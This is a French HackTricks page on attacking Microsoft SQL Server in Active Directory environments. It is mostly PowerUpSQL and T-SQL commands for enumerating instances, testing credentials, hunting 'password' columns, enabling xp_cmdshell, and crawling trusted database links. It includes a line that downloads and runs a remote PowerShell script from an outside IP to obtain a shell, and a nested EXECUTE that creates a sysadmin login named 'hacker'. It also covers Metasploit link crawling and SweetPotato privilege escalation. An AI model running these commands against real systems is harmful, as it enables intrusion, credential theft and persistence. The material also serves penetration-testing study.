Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version du PEASS ou télécharger HackTricks en PDF? Consultez les PLANS D'ABONNEMENT!
Le module PowerShell PowerUpSQL est très utile dans ce cas.
Import-Module .\PowerupSQL.psd1
Énumération depuis le réseau sans session de domaine
# Get local MSSQL instance (if any)Get-SQLInstanceLocalGet-SQLInstanceLocal|Get-SQLServerInfo#If you don't have a AD account, you can try to find MSSQL scanning via UDP#First, you will need a list of hosts to scanGet-Content c:\temp\computers.txt |Get-SQLInstanceScanUDP –Verbose –Threads 10#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them#The discovered MSSQL servers must be on the file: C:\temp\instances.txtGet-SQLInstanceFile-FilePath C:\temp\instances.txt |Get-SQLConnectionTest-Verbose -Username test -Password test
Énumération depuis l'intérieur du domaine
# Get local MSSQL instance (if any)Get-SQLInstanceLocalGet-SQLInstanceLocal|Get-SQLServerInfo#Get info about valid MSQL instances running in domain#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)Get-SQLInstanceDomain|Get-SQLServerinfo-Verbose#Test connections with each oneGet-SQLInstanceDomain|Get-SQLConnectionTestThreaded-verbose#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)Get-SQLInstanceDomain|Get-SQLServerInfo-Verbose# Get DBs, test connections and get info in onelinerGet-SQLInstanceDomain|Get-SQLConnectionTest|? { $_.Status-eq"Accessible" } |Get-SQLServerInfo
Utilisation basique de MSSQL
Accéder à la base de données
#Perform a SQL queryGet-SQLQuery-Instance "sql.domain.io,1433"-Query "select @@servername"#Dump an instance (a lotof CVSs generated in current dir)Invoke-SQLDumpInfo-Verbose -Instance "dcorp-mssql"# Search keywords in columns trying to access the MSSQL DBs## This won't use trusted SQL linksGet-SQLInstanceDomain|Get-SQLConnectionTest|? { $_.Status-eq"Accessible" } |Get-SQLColumnSampleDataThreaded-Keywords "password"-SampleSize 5| select instance, database, column, sample | ft -autosize
RCE MSSQL
Il pourrait également être possible d'exécuter des commandes à l'intérieur de l'hôte MSSQL
Invoke-SQLOSCmd-Instance "srv.sub.domain.local,1433"-Command "whoami"-RawResults# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
Si une instance MSSQL est approuvée (lien de base de données) par une autre instance MSSQL. Si l'utilisateur a des privilèges sur la base de données approuvée, il pourra utiliser la relation de confiance pour exécuter des requêtes également dans l'autre instance. Ces liens de confiance peuvent être enchaînés et à un certain point, l'utilisateur pourrait être en mesure de trouver une base de données mal configurée où il peut exécuter des commandes.
Les liens entre les bases de données fonctionnent même à travers les confiances inter-forêts.
Abus de Powershell
#Look for MSSQL links of an accessible instanceGet-SQLServerLink-Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)Get-SQLServerLinkCrawl-Instance mssql-srv.domain.local -Verbose#If you are sysadmin in some trusted link you can enable xp_cmdshell with:Get-SQLServerLinkCrawl-instance "<INSTANCE1>"-verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery fieldGet-SQLServerLinkCrawl-Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"#Obtain a shellGet-SQLServerLinkCrawl-Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'#Check for possible vulnerabilities on an instance where you have accessInvoke-SQLAudit-Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"#Try to escalate privileges on an instanceInvoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"#Manual trusted link queeryGet-SQLQuery-Instance "sql.domain.io,1433"-Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"## Enable xp_cmdshell and check itGet-SQLQuery-Instance "sql.domain.io,1433"-Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'Get-SQLQuery-Instance "sql.domain.io,1433"-Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'Get-SQLQuery-Instance "sql.domain.io,1433"-Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'## If you see the results of @@selectname, it workedGet-SQLQuery-Instance "sql.rto.local,1433"-Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
Metasploit
Vous pouvez facilement vérifier les liens de confiance en utilisant Metasploit.
#Set username, password, windows auth (if using AD), IP...msf> useexploit/windows/mssql/mssql_linkcrawler[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
Noticez que Metasploit essaiera d'exploiter uniquement la fonction openquery() dans MSSQL (donc, si vous ne pouvez pas exécuter de commande avec openquery(), vous devrez essayer la méthode EXECUTEmanuellement pour exécuter des commandes, voir plus bas.)
Manuel - Openquery()
Depuis Linux, vous pourriez obtenir un shell de console MSSQL avec sqsh et mssqlclient.py.
Depuis Windows, vous pourriez également trouver les liens et exécuter des commandes manuellement en utilisant un client MSSQL tel queHeidiSQL
Connexion en utilisant l'authentification Windows:
Vous pouvez également abuser des liens de confiance en utilisant EXECUTE:
#Create user and give admin privilegesEXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
Élévation locale des privilèges
L'utilisateur local MSSQL a généralement un type de privilège spécial appelé SeImpersonatePrivilege. Cela permet au compte d'"usurper l'identité d'un client après l'authentification".
Une stratégie que de nombreux auteurs ont développée consiste à forcer un service SYSTEM à s'authentifier auprès d'un service malveillant ou de l'homme du milieu que l'attaquant crée. Ce service malveillant peut alors usurper l'identité du service SYSTEM pendant qu'il tente de s'authentifier.
SweetPotato propose une collection de ces différentes techniques qui peuvent être exécutées via la commande execute-assembly de Beacon.